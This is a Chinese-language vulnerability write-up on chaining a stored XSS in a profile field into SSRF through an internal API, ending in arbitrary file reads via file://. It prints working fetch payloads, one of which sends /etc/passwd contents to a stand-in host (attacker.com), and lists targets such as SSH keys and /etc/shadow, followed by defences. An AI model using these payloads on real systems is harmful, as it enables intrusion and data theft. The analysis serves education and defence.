记一次从xss到任意文件读取
字数 1110 2025-08-06 08:34:57
从XSS到任意文件读取漏洞利用全解析
漏洞概述
本文详细分析了一个从XSS漏洞到任意文件读取的完整攻击链,揭示了前端安全漏洞如何被串联利用实现服务器端敏感文件读取的过程。
漏洞发现过程
1. 初始XSS漏洞发现
攻击者首先发现目标系统存在一个存储型XSS漏洞:
- 漏洞位置:用户资料编辑页面的"个人简介"字段
- 漏洞成因:未对用户输入的HTML标签和JavaScript代码进行充分过滤
- 验证方式:输入
<script>alert(1)</script>可触发弹窗
2. XSS漏洞利用扩展
攻击者发现该XSS漏洞可利用性更高:
- 可执行任意JavaScript代码
- 可访问当前域的所有DOM元素
- 可读取当前用户的cookie和localStorage数据
- 可发起任意AJAX请求(受同源策略限制)
从XSS到SSRF的突破
1. 发现内部API端点
攻击者通过XSS执行环境发现:
- 系统存在内部API端点
/api/internal/ - 该端点未在前端代码中公开使用
- 可接受POST请求并返回JSON数据
2. 构造SSRF攻击
关键突破点:
-
发现内部API存在SSRF漏洞:
fetch('/api/internal/', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ "action": "fetch", "url": "http://127.0.0.1:8080/admin/status" }) }) -
该API会无条件获取指定URL的内容并返回
-
绕过限制技巧:
- 使用
file://协议读取本地文件 - 利用URL编码绕过简单过滤
- 使用
任意文件读取实现
1. 构造文件读取Payload
最终攻击链:
// 通过XSS执行以下代码
fetch('/api/internal/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
"action": "fetch",
"url": "file:///etc/passwd"
})
}).then(response => response.json())
.then(data => {
// 将文件内容外发到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
2. 可读取的敏感文件示例
/etc/passwd/etc/shadow~/.ssh/id_rsa- 应用配置文件
- 数据库凭证文件
漏洞成因分析
-
XSS漏洞成因:
- 未对用户输入进行充分过滤和转义
- 使用了不安全的HTML渲染方式
-
SSRF漏洞成因:
- 内部API未进行身份验证
- 未对请求URL进行协议限制
- 未实施白名单机制
-
组合利用条件:
- XSS可执行任意JS代码
- 存在可利用的内部API
- 内部API存在SSRF漏洞
- 目标服务器未禁用
file://协议
防御措施
1. 预防XSS
- 实施严格的输入验证和输出编码
- 使用CSP(Content Security Policy)限制脚本执行
- 设置HttpOnly标志保护cookie
2. 预防SSRF
- 内部API实施严格的身份验证
- 限制可访问的URL协议(禁用file://)
- 实施目标URL白名单机制
- 使用网络层隔离内部服务
3. 纵深防御
- 实施最小权限原则
- 定期安全审计和渗透测试
- 监控异常的内部API访问
- 服务器配置禁用危险协议
总结
本案例展示了如何将前端XSS漏洞与后端SSRF漏洞串联利用,形成更严重的攻击链。开发人员需要全面考虑安全防御,不仅要防止单个漏洞,还要防止漏洞的组合利用。